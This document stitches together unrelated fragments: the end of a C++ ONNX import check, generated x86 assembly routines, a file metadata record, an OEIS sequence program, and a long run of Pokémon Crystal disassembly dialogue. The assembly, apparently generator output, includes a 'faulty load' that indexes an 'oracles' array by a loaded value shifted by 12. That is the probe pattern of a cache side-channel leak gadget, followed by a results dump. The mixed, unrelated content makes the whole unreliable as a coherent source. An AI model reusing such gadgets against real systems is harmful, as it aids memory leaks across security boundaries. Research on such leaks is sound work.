validated_input_rank.same_scheme({0}), input_name, " needs to be a scalar.");
if (!allowed_types.empty())
{
const bool data_type_ok = allowed_types.count(input->get_element_type());
NGRAPH_CHECK(data_type_ok,
"Incorrect data type of the ",
input_name,
" input: ",
input->get_element_type());
}
}
} // namespace common
} // namespace onnx_import
} // namespace ngraph
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xef62, %rsi
lea addresses_D_ht+0x1c122, %rdi
clflush (%rsi)
nop
nop
nop
and %r11, %r11
mov $30, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $48424, %r13
lea addresses_D_ht+0x35c2, %r9
nop
nop
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm1
vmovups %ymm1, (%r9)
nop
nop
nop
nop
and $21673, %r11
lea addresses_WT_ht+0x13c42, %r9
add %r10, %r10
mov (%r9), %esi
nop
nop
nop
nop
xor $55548, %rcx
lea addresses_A_ht+0x16a98, %rsi
nop
nop
xor %rdi, %rdi
movb (%rsi), %r11b
xor $37325, %rcx
lea addresses_WT_ht+0x15a76, %r9
add %r13, %r13
mov (%r9), %ecx
sub $62089, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rax
push %rbp
push %rdx
push %rsi
// Faulty Load
lea addresses_RW+0xbca2, %r13
nop
cmp $33769, %rbp
vmovaps (%r13), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbp
pop %rax
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 32, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_D_ht', 'congruent': 4}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_A_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 2}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Name: Object.asm
Type: file
Size: 22181
Last-Modified: '1992-07-01T15:00:00Z'
SHA-1: 6E54B8D0CE878A127271C47A0FFB154394D289A1
Description: null
|
; A130494: Row sums of triangle A130478.
; 1,4,11,37,163,907,6067,47107,415027,4084147,44363827,526994227,6793931827,94451224627,1408352613427,22418320792627,379413423256627,6802709918872627,128803497755800627,2568107879638168627,53780695151756440627,1180214324937540760627
lpb $0
add $1,$0
mov $2,$0
sub $0,1
mul $1,$2
add $1,$2
add $1,1
lpe
add $1,1
mov $0,$1
|
_OakText6::
text "Now, why don't you"
line "tell me a little"
cont "bit about your-"
cont "self?"
prompt
_Oak_AreYouABoyOrAGirl::
text "Are you a boy?"
line "Or are you a girl?"
done
_OakText7::
text "Tell me, what is"
line "your name?"
prompt
_OakText8::
text "Now, this boy"
line "here…"
para "I believe he's your"
line "friend."
prompt
_OakText9::
text "What might his"
line "name be?"
prompt
_OakText10::
text "All right,"
line "<PLAYER>, the time"
cont"has come."
para "Your very own tale"
line "of grand adventure"
cont "about to unfold."
para "On your journey,"
line "you will meet"
cont "countless #MON"
cont "and people."
para "I'm sure that"
line "along the way you"
cont "will discover many"
cont "things, perhaps"
cont "even something"
cont "about yourself."
para "Now, go on, leap"
line "into the world of"
cont "#MON!"
done
_Oak_YouAreABoy::
text "So, you're a boy?"
done
_Oak_YouAreAGirl::
text "So, you're a girl?"
done
_Oak_ConfirmName::
text "OK..."
line "So, you're"
cont "<PLAYER>?"
done
_Oak_ConfirmRival::
text "<RIVAL>, is it?"
line "That's your friend's"
cont "name?"
done
_IntroSandgem::
text "“#MON are by"
line "our side, always."
para "I hope you will"
line "understand the"
cont "meaning of those"
cont "words.”"
para "That was a comment"
line "left by PROF."
cont "ROWAN, who has re-"
cont "turned to SINNOH"
cont "from the KANTO"
cont "region."
prompt
UnknownText_0x1c40e6::
text "The clock's time"
line "may be wrong."
para "Please reset the"
line "time."
prompt
UnknownText_0x1c411c::
text "Set with the"
line "Control Pad."
para "Confirm: A Button"
line "Cancel: B Button"
done
UnknownText_0x1c415b::
text "Is this OK?"
done
UnknownText_0x1c4168::
text "The clock has been"
line "reset."
done
UnknownText_0x1c4183::
text "Too much time has"
line "elapsed. Please"
cont "try again."
prompt
UnknownText_0x1c41b1::
text "If you trade that"
line "#MON, you won't"
cont "be able to battle."
prompt
UnknownText_0x1c41e6::
text "Your friend's"
line "@"
text_ram wStringBuffer1
text " appears"
cont "to be abnormal!"
prompt
UnknownText_0x1c4212::
text "Trade @"
text_ram wd004
text_start
line "for @"
text_ram wStringBuffer1
text "?"
done
UnknownText_0x1c422a::
text "To enter a mobile"
line "battle, you must"
para "pick a team of"
line "three #MON."
para "Is that OK?"
done
UnknownText_0x1c4275::
text "Need more info on"
line "mobile battles?"
done
UnknownText_0x1c4298::
text "For a mobile"
line "battle, choose"
cont "three #MON."
para "The maximum daily"
line "play time is ten"
para "minutes for each"
line "linked player."
para "If a battle isn't"
line "finished within"
para "the time limit,"
line "the player with"
para "the fewest fainted"
line "#MON wins."
para "If tied, the team"
line "that lost the"
para "least amount of HP"
line "wins."
done
UnknownText_0x1c439c::
text "Today's remaining"
line "time is @"
text_decimal wStringBuffer2, 1, 2
text " min."
para "Would you like to"
line "battle?"
done
UnknownText_0x1c43dc::
text "There are only @"
text_decimal wStringBuffer2, 1, 2
text_start
line "min. left today."
para "Want a quick"
line "battle?"
done
UnknownText_0x1c4419::
text "There is only"
line "1 min. left today!"
para "Want to rush"
line "through a battle?"
done
UnknownText_0x1c445a::
text "There is less than"
line "1 min. left today!"
para "Please try again"
line "tomorrow."
done
UnknownText_0x1c449c::
text "Try again using"
line "the same settings?"
done
UnknownText_0x1c44c0::
text "There is less than"
line "1 min. left today!"
done
UnknownText_0x1c44e7::
text "No time left for"
line "linking today."
done
UnknownText_0x1c4508::
text "Pick three #MON"
line "for battle."
done
UnknownText_0x1c4525::
text "Today's remaining"
line "time is @"
text_decimal wStringBuffer2, 1, 2
text " min."
done
UnknownText_0x1c454b::
text "Would you like to"
line "save the game?"
done
UnknownText_0x1c4590::
text "<PLAYER> saved"
line "the game."
done
UnknownText_0x1c45d9::
text "There is another"
line "save file. Is it"
cont "OK to overwrite?"
done
UnknownText_0x1c460d::
text "The save file is"
line "corrupted!"
prompt
UnknownText_0x1c462a::
text "When you change a"
line "#MON BOX, data"
cont "will be saved. OK?"
done
UnknownText_0x1c465f::
text "Each time you move"
line "a #MON, data"
cont "will be saved. OK?"
done
UnknownText_0x1c4693::
text "The window save"
line "area was exceeded."
done
UnknownText_0x1c46b7::
text "No windows avail-"
line "able for popping."
done
UnknownText_0x1c46dc::
text "Corrupted event!"
prompt
_ObjectEventText::
text "Object event"
done
UnknownText_0x1c46fc::
text "BG event"
done
UnknownText_0x1c4706::
text "Coordinates event"
done
UnknownText_0x1c4719::
text "<PLAYER> received"
line "@"
text_ram wStringBuffer4
text "."
done
UnknownText_0x1c472c::
text "<PLAYER> put the"
line "@"
text_ram wStringBuffer1
text " in"
cont "the @"
text_ram wStringBuffer3
text "."
prompt
UnknownText_0x1c474b::
text "The @"
text_ram wStringBuffer3
text_start
line "is full…"
prompt
_ReceivedTMHMText::
text "<PLAYER> received"
line "@"
text_ram wStringBuffer4
text " @"
text_ram wStringBuffer1
text "!"
done
_PutTMHMInPocketText::
text "<PLAYER> put @"
text_ram wStringBuffer4
text ""
line "in the TM POCKET."
prompt
UnknownText_0x1c475f::
text "I see all."
line "I know all…"
para "Certainly, I know"
line "of your #MON!"
done
UnknownText_0x1c4797::
text "Whaaaat? I can't"
line "tell a thing!"
para "How could I not"
line "know of this?"
done
UnknownText_0x1c47d4::
text "Hm… I see you met"
line "@"
text_ram wSeerNickname
text " here:"
cont "@"
text_ram wSeerCaughtLocation
text "!"
prompt
UnknownText_0x1c47fa::
text "The time was"
line "@"
text_ram wSeerTimeOfDay
text "!"
para "Its level was @"
text_ram wSeerCaughtLevelString
text "!"
para "Am I good or what?"
prompt
UnknownText_0x1c4837::
text "Hm… @"
text_ram wSeerNickname
text_start
line "came from @"
text_ram wSeerOTName
text_start
cont "in a trade?"
para "@"
text_ram wSeerCaughtLocation
text_start
line "was where @"
text_ram wSeerOTName
text_start
cont "met @"
text_ram wSeerNickname
text "!"
prompt
UnknownText_0x1c487f::
text "What!? Incredible!"
para "I don't understand"
line "how, but it is"
para "incredible!"
line "You are special."
para "I can't tell where"
line "you met it, but it"
cont "was at level @"
text_ram wSeerCaughtLevelString
text "."
para "Am I good or what?"
prompt
UnknownText_0x1c491d::
text "Hey!"
para "That's an EGG!"
para "You can't say that"
line "you've met it yet…"
done
UnknownText_0x1c4955::
text "Fufufu! I saw that"
line "you'd do nothing!"
done
UnknownText_0x1c497a::
text "Incidentally…"
para "It would be wise"
line "to raise your"
para "#MON with a"
line "little more care."
done
UnknownText_0x1c49c6::
text "Incidentally…"
para "It seems to have"
line "grown a little."
para "@"
text_ram wSeerNickname
text " seems"
line "to be becoming"
cont "more confident."
done
UnknownText_0x1c4a21::
text "Incidentally…"
para "@"
text_ram wSeerNickname
text " has"
line "grown. It's gained"
cont "much strength."
done
UnknownText_0x1c4a5b::
text "Incidentally…"
para "It certainly has"
line "grown mighty!"
para "This @"
text_ram wSeerNickname
text_start
line "must have come"
para "through numerous"
line "#MON battles."
para "It looks brimming"
line "with confidence."
done
UnknownText_0x1c4ae5::
text "Incidentally…"
para "I'm impressed by"
line "your dedication."
para "It's been a long"
line "time since I've"
para "seen a #MON as"
line "mighty as this"
cont "@"
text_ram wSeerNickname
text "."
para "I'm sure that"
line "seeing @"
text_ram wSeerNickname
text_start
para "in battle would"
line "excite anyone."
done
UnknownText_0x1c4b92::
text "Congratulations!"
line "Your @"
text_ram wStringBuffer2
text_end
text_end ; unused
UnknownText_0x1c4baf::
text_start
para "evolved into"
line "@"
text_ram wStringBuffer1
text "!"
done
UnknownText_0x1c4bc5::
text "Huh? @"
text_ram wStringBuffer2
text_start
line "stopped evolving!"
prompt
UnknownText_0x1c4be3::
text "What? @"
text_ram wStringBuffer2
text_start
line "is evolving!"
done
UnknownText_0x1c4bfd::
text "How many?"
done
UnknownText_0x1c4c08::
text_decimal wItemQuantityChangeBuffer, 1, 2
text " @"
text_ram wStringBuffer2
text "(S)"
line "will be ¥@"
text_decimal hMoneyTemp, 3, 6
text "."
done
UnknownText_0x1c4c28::
text "Hello, dear."
para "I sell inexpensive"
line "herbal medicine."
para "They're good, but"
line "a trifle bitter."
para "Your #MON may"
line "not like them."
para "Hehehehe…"
done
UnknownText_0x1c4ca3::
text "How many?"
done
UnknownText_0x1c4cae::
text_decimal wItemQuantityChangeBuffer, 1, 2
text " @"
text_ram wStringBuffer2
text "(S)"
line "will be ¥@"
text_decimal hMoneyTemp, 3, 6
text "."
done
UnknownText_0x1c4cce::
text "Thank you, dear."
line "Hehehehe…"
done
UnknownText_0x1c4cea::
text "Oh? Your PACK is"
line "full, dear."
done
UnknownText_0x1c4d08::
text "Hehehe… You don't"
line "have the money."
done
UnknownText_0x1c4d2a::
text "Come again, dear."
line "Hehehehe…"
done
UnknownText_0x1c4d47::
text "Hiya! Care to see"
line "some bargains?"
para "I sell rare items"
line "that nobody else"
para "carries--but only"
line "one of each item."
done
UnknownText_0x1c4db0::
text_ram wStringBuffer2
text " costs"
line "¥@"
text_decimal hMoneyTemp, 3, 6
text ". Want it?"
done
UnknownText_0x1c4dcd::
text "Thanks."
done
UnknownText_0x1c4dd6::
text "Uh-oh, your PACK"
line "is chock-full."
done
UnknownText_0x1c4df7::
text "You bought that"
line "already. I'm all"
cont "sold out of it."
done
UnknownText_0x1c4e28::
text "Uh-oh, you're"
line "short on funds."
done
UnknownText_0x1c4e46::
text "Come by again"
line "sometime."
done
UnknownText_0x1c4e5f::
text "What's up? Need"
line "some medicine?"
done
UnknownText_0x1c4e7e::
text "How many?"
done
UnknownText_0x1c4e89::
text_decimal wItemQuantityChangeBuffer, 1, 2
text " @"
text_ram wStringBuffer2
text "(S)"
line "will cost ¥@"
text_decimal hMoneyTemp, 3, 6
text "."
done
UnknownText_0x1c4eab::
text "Thanks much!"
done
UnknownText_0x1c4eb9::
text "You don't have any"
line "more space."
done
UnknownText_0x1c4ed8::
text "Huh? That's not"
line "enough money."
done
UnknownText_0x1c4ef6::
text "All right."
line "See you around."
done
UnknownText_0x1c4f12::
text "You don't have"
line "anything to sell."
prompt
UnknownText_0x1c4f33::
text "How many?"
done
UnknownText_0x1c4f3e::
text "I can pay you"
line "¥@"
text_decimal hMoneyTemp, 3, 6
text "."
para "Is that OK?"
done
UnknownText_0x1c4f62::
text "Welcome! How may I"
line "help you?"
done
UnknownText_0x1c4f80::
text "Here you are."
line "Thank you!"
done
UnknownText_0x1c4f9a::
text "You don't have"
line "enough money."
done
UnknownText_0x1c4fb7::
text "You can't carry"
line "any more items."
done
UnknownText_0x1c4fd7::
text "Sorry, I can't buy"
line "that from you."
prompt
UnknownText_0x1c4ff9::
text "Please come again!"
done
UnknownText_0x1c500d::
text "Can I do anything"
line "else for you?"
done
UnknownText_0x1c502e::
text "Got ¥@"
text_decimal hMoneyTemp, 3, 6
text " for"
line "@"
text_ram wStringBuffer2
text "(S)."
done
UnknownText_0x1c5049::
text "Bet how many"
line "coins?"
done
UnknownText_0x1c505e::
text "Start!"
done
UnknownText_0x1c5066::
text "Not enough"
line "coins."
prompt
UnknownText_0x1c5079::
text "Darn… Ran out of"
line "coins…"
done
UnknownText_0x1c5092::
text "Play again?"
done
UnknownText_0x1c509f::
text "lined up!"
line "Won @"
text_ram wStringBuffer2
text " coins!"
done
UnknownText_0x1c50bb::
text "Darn!"
done
_MobileStadiumEntryText::
text "Data for use in"
line "the MOBILE STADIUM"
para "of the N64 #MON"
line "STADIUM 2 can be"
cont "read here."
para "Read the data?"
done
_MobileStadiumSuccessText::
text "Data transfer is"
line "complete."
para "We hope you enjoy"
line "MOBILE STADIUM"
para "battles in the N64"
line "#MON STADIUM 2."
para ""
done
UnknownText_0x1c5182::
text "Clock time unknown"
done
UnknownText_0x1c5196::
text "Delete the saved"
line "LOG-IN PASSWORD?"
done
UnknownText_0x1c51b9::
text "Deleted the LOG-IN"
line "PASSWORD."
done
UnknownText_0x1c51d7::
text "Pick three #MON"
line "for battle."
prompt
UnknownText_0x1c51f4::
text_ram wMobileParticipant1Nickname
text ","
line "@"
text_ram wMobileParticipant2Nickname
text " and"
cont "@"
text_ram wMobileParticipant3Nickname
text "."
para "Use these three?"
done
UnknownText_0x1c521c::
text "Only three #MON"
line "may enter."
prompt
UnknownText_0x1c5238::
text "The CARD FOLDER"
line "stores your and"
para "your friends'"
line "CARDS."
para "A CARD contains"
line "information like"
para "the person's name,"
line "phone number and"
cont "profile."
para ""
done
UnknownText_0x1c52bc::
text "This is your CARD."
para "Once you've"
line "entered your phone"
para "number, you can"
line "trade CARDS with"
cont "your friends."
para ""
done
UnknownText_0x1c531e::
text "If you have your"
line "friend's CARD, you"
para "can use it to make"
line "a call from a"
para "mobile phone on"
line "the 2nd floor of a"
cont "#MON CENTER."
para ""
done
UnknownText_0x1c5394::
text "To safely store"
line "your collection of"
para "CARDS, you must"
line "set a PASSCODE for"
cont "your CARD FOLDER."
para ""
done
UnknownText_0x1c53ee::
text "If the CARD FOLDER"
line "is deleted, all"
para "its CARDS and the"
line "PASSCODE will also"
cont "be deleted."
para "Beware--a deleted"
line "CARD FOLDER can't"
cont "be restored."
para "Want to delete"
line "your CARD FOLDER?"
done
UnknownText_0x1c5494::
text "Are you sure you"
line "want to delete it?"
done
UnknownText_0x1c54b9::
text "The CARD FOLDER"
line "has been deleted."
para ""
done
UnknownText_0x1c54dd::
text "There is an older"
line "CARD FOLDER from a"
cont "previous journey."
para "Do you want to"
line "open it?"
done
UnknownText_0x1c552d::
text "Delete the old"
line "CARD FOLDER?"
done
UnknownText_0x1c554a::
text "Finish registering"
line "CARDS?"
done
UnknownText_0x1c5565::
text "Huh? Sorry, wrong"
line "number!"
done
UnknownText_0x1c5580::
text "Click!"
done
UnknownText_0x1c5588::
text "<……>"
done
UnknownText_0x1c558b::
text "That number is out"
line "of the area."
done
UnknownText_0x1c55ac::
text "Just go talk to"
line "that person!"
done
UnknownText_0x1c55ca::
text "Thank you!"
done
UnknownText_0x1c55d6::
text " :"
done
UnknownText_0x1c55db::
text "Password OK."
line "Select CONTINUE &"
cont "reset settings."
prompt
UnknownText_0x1c560b::
text "Wrong password!"
prompt
UnknownText_0x1c561c::
text "Reset the clock?"
done
UnknownText_0x1c562e::
text "Please enter the"
line "password."
done
UnknownText_0x1c564a::
text "Clear all save"
line "data?"
done
UnknownText_0x1c5660::
text_ram wMonOrItemNameBuffer
text " learned"
line "@"
text_ram wStringBuffer2
text "!@"
sound_dex_fanfare_50_79
text_waitbutton
text_end
text_end ; unused
UnknownText_0x1c5678::
text "Which move should"
next "be forgotten?"
done
UnknownText_0x1c5699::
text "Stop learning"
line "@"
text_ram wStringBuffer2
text "?"
done
UnknownText_0x1c56af::
text_ram wMonOrItemNameBuffer
text_start
line "did not learn"
cont "@"
text_ram wStringBuffer2
text "."
prompt
UnknownText_0x1c56c9::
text_ram wMonOrItemNameBuffer
text " is"
line "trying to learn"
cont "@"
text_ram wStringBuffer2
text "."
para "But @"
text_ram wMonOrItemNameBuffer
text_start
line "can't learn more"
cont "than four moves."
para "Delete an older"
line "move to make room"
cont "for @"
text_ram wStringBuffer2
text "?"
done
UnknownText_0x1c5740::
text "1, 2 and…@"
text_pause
text_end
text_end ; unused
UnknownText_0x1c574e::
text " Poof!@"
text_pause
text_start
para "@"
text_ram wMonOrItemNameBuffer
text " forgot"
line "@"
text_ram wStringBuffer1
text "."
para "And…"
prompt
UnknownText_0x1c5772::
text "HM moves can't be"
line "forgotten now."
prompt
UnknownText_0x1c5793::
text "Play with three"
line "coins?"
done
UnknownText_0x1c57ab::
text "Not enough coins…"
prompt
UnknownText_0x1c57be::
text "Choose a card."
done
UnknownText_0x1c57ce::
text "Place your bet."
done
UnknownText_0x1c57df::
text "Want to play"
line "again?"
done
UnknownText_0x1c57f4::
text "The cards have"
line "been shuffled."
prompt
UnknownText_0x1c5813::
text "Yeah!"
done
UnknownText_0x1c581a::
text "Darn…"
done
UnknownText_0x1c5821::
text_today
text_end
text_end ; unused
UnknownText_0x1c5824::
text "<……>"
done
UnknownText_0x1c5827::
text "You're out of the"
line "service area."
prompt
UnknownText_0x1c5847::
text "Whom do you want"
line "to call?"
done
UnknownText_0x1c5862::
text "Press any button"
line "to exit."
done
UnknownText_0x1c587d::
text "Delete this stored"
line "phone number?"
done
UnknownText_0x1c589f::
text "Which prize would"
line "you like?"
done
UnknownText_0x1c58bc::
text_ram wStringBuffer1
text "?"
line "Is that right?"
done
UnknownText_0x1c58d1::
text "Here you go!"
para ""
done
UnknownText_0x1c58e0::
text "You don't have"
line "enough points."
para ""
done
UnknownText_0x1c58ff::
text "You have no room"
line "for it."
para ""
done
UnknownText_0x1c591a::
text "Oh. Please come"
line "back again!"
done
UnknownText_0x1c5937::
text "Excuse me!"
para ""
done
Text_ExcuseMeYoureNotReady::
text "Excuse me."
line "You're not ready."
para ""
done
UnknownText_0x1c5962::
text "Please return when"
line "you're ready."
done
_NeedAtLeastThreeMonText::
text "You need at least"
line "three #MON."
para ""
done
_EggDoesNotQualifyText::
text "Sorry, an EGG"
line "doesn't qualify."
para ""
done
_OnlyThreeMonMayBeEnteredText::
text "Only three #MON"
line "may be entered."
para ""
done
_TheMonMustAllBeDifferentKindsText::
text "The @"
text_ram wStringBuffer2
text " #MON"
line "must all be"
cont "different kinds."
para ""
done
_TheMonMustNotHoldTheSameItemsText::
text "The @"
text_ram wStringBuffer2
text " #MON"
line "must not hold the"
cont "same items."
para ""
done
_YouCantTakeAnEggText::
text "You can't take an"
line "EGG!"
para ""
done
UnknownText_0x1c5a5a::
text "It dodged the"
line "thrown BALL!"
para "This #MON"
line "can't be caught!"
prompt
UnknownText_0x1c5a90::
text "You missed the"
line "#MON!"
prompt
UnknownText_0x1c5aa6::
text "Oh no! The #MON"
line "broke free!"
prompt
UnknownText_0x1c5ac3::
text "Aww! It appeared"
line "to be caught!"
prompt
UnknownText_0x1c5ae3::
text "Aargh!"
line "Almost had it!"
prompt
UnknownText_0x1c5afa::
text "Shoot! It was so"
line "close too!"
prompt
UnknownText_0x1c5b17::
text "Gotcha! @"
text_ram wEnemyMonNick
text_start
line "was caught!@"
sound_caught_mon
text_end
text_end ; unused
Text_Waitbutton_2::
text_waitbutton
text_end
text_end ; unused
UnknownText_0x1c5b38::
text_ram wMonOrItemNameBuffer
text " was"
line "sent to BILL's PC."
prompt
UnknownText_0x1c5b53::
text_ram wEnemyMonNick
text "'s data"
line "was newly added to"
cont "the #DEX.@"
sound_slot_machine_start
text_waitbutton
text_end
text_end ; unused
UnknownText_0x1c5b7f::
text "Give a nickname to"
line "@"
text_ram wStringBuffer1
text "?"
done
UnknownText_0x1c5b9a::
text_ram wStringBuffer1
text "'s"
line "@"
text_ram wStringBuffer2
text " rose."
prompt
UnknownText_0x1c5bac::
text "That can't be used"
line "on this #MON."
prompt
Text_RepelUsedEarlierIsStillInEffect::
text "The REPEL used"
line "earlier is still"
cont "in effect."
prompt
UnknownText_0x1c5bf9::
text "Played the #"
line "FLUTE."
para "Now, that's a"
line "catchy tune!"
prompt
UnknownText_0x1c5c28::
text "All sleeping"
line "#MON woke up."
prompt
UnknownText_0x1c5c44::
text "<PLAYER> played the"
line "# FLUTE.@"
text_waitbutton
text_end
text_end ; unused
UnknownText_0x1c5c5e::
text "You now have"
line "@"
text_decimal wBlueCardBalance, 1, 2
text " points."
done
UnknownText_0x1c5c7b::
text "Coins:"
line "@"
text_decimal wCoins, 2, 4
text_end
text_end ; unused
Text_RaiseThePPOfWhichMove::
text "Raise the PP of"
line "which move?"
done
Text_RestoreThePPOfWhichMove::
text "Restore the PP of"
line "which move?"
done
Text_PPIsMaxedOut::
text_ram wStringBuffer2
text "'s PP"
line "is maxed out."
prompt
Text_PPsIncreased::
text_ram wStringBuffer2
text "'s PP"
line "increased."
prompt
UnknownText_0x1c5cf1::
text "PP was restored."
prompt
UnknownText_0x1c5d03::
text "There was a trophy"
line "inside!@"
sound_dex_fanfare_50_79
text_start
para "@"
text_ram wPlayerName
text " sent the"
line "trophy home."
prompt
UnknownText_0x1c5d3e::
text "It looks bitter…"
prompt
UnknownText_0x1c5d50::
text "That can't be used"
line "on an EGG."
prompt
UnknownText_0x1c5d6e::
text "OAK: <PLAYER>!"
line "This isn't the"
cont "time to use that!"
prompt
UnknownText_0x1c5d97::
text "That belongs to"
line "someone else!"
prompt
UnknownText_0x1c5db6::
text "It won't have any"
line "effect."
prompt
UnknownText_0x1c5dd0::
text "The trainer"
line "blocked the BALL!"
prompt
UnknownText_0x1c5def::
text "Don't be a thief!"
prompt
UnknownText_0x1c5e01::
text "Cycling isn't"
line "allowed here."
prompt
UnknownText_0x1c5e1d::
text "Can't get on your"
line "@"
text_ram wStringBuffer1
text " now."
prompt
UnknownText_0x1c5e3a::
text "The #MON BOX"
line "is full. That"
cont "can't be used now."
prompt
UnknownText_0x1c5e68::
text "<PLAYER> used the@"
text_low
text_ram wStringBuffer2
text "."
done
UnknownText_0x1c5e7b::
text "<PLAYER> got on the@"
text_low
text_ram wStringBuffer2
text "."
prompt
UnknownText_0x1c5e90::
text "<PLAYER> got off@"
text_low
text "the @"
text_ram wStringBuffer2
text "."
prompt
UnknownText_0x1c5ea8::
text_ram wStringBuffer1
text " knows"
line "@"
text_ram wStringBuffer2
text "."
prompt
UnknownText_0x1c5eba::
text "That #MON knows"
line "only one move."
done
UnknownText_0x1c5eda::
text "Oh, make it forget"
line "@"
text_ram wStringBuffer1
text "?"
done
UnknownText_0x1c5ef5::
text "Done! Your #MON"
line "forgot the move."
done
UnknownText_0x1c5f17::
text "An EGG doesn't"
line "know any moves!"
done
UnknownText_0x1c5f36::
text "No? Come visit me"
line "again."
done
UnknownText_0x1c5f50::
text "Which move should"
line "it forget, then?"
prompt
UnknownText_0x1c5f74::
text "Um… Oh, yes, I'm"
line "the MOVE DELETER."
para "I can make #MON"
line "forget moves."
para "Shall I make a"
line "#MON forget?"
done
UnknownText_0x1c5fd1::
text "Which #MON?"
prompt
Text_DSTIsThatOK::
text " DST,"
line "is that OK?"
done
UnknownText_0x1c5ff1::
text ","
line "is that OK?"
done
UnknownText_0x1c6000::
text "Do you want to"
line "switch to Daylight"
cont "Saving Time?"
done
UnknownText_0x1c6030::
text "I set the clock"
line "forward by one"
cont "hour."
prompt
UnknownText_0x1c6056::
text "Is Daylight Saving"
line "Time over?"
done
UnknownText_0x1c6075::
text "I put the clock"
line "back one hour."
prompt
UnknownText_0x1c6095::
text "Do you want to"
line "adjust your clock"
para "for Daylight"
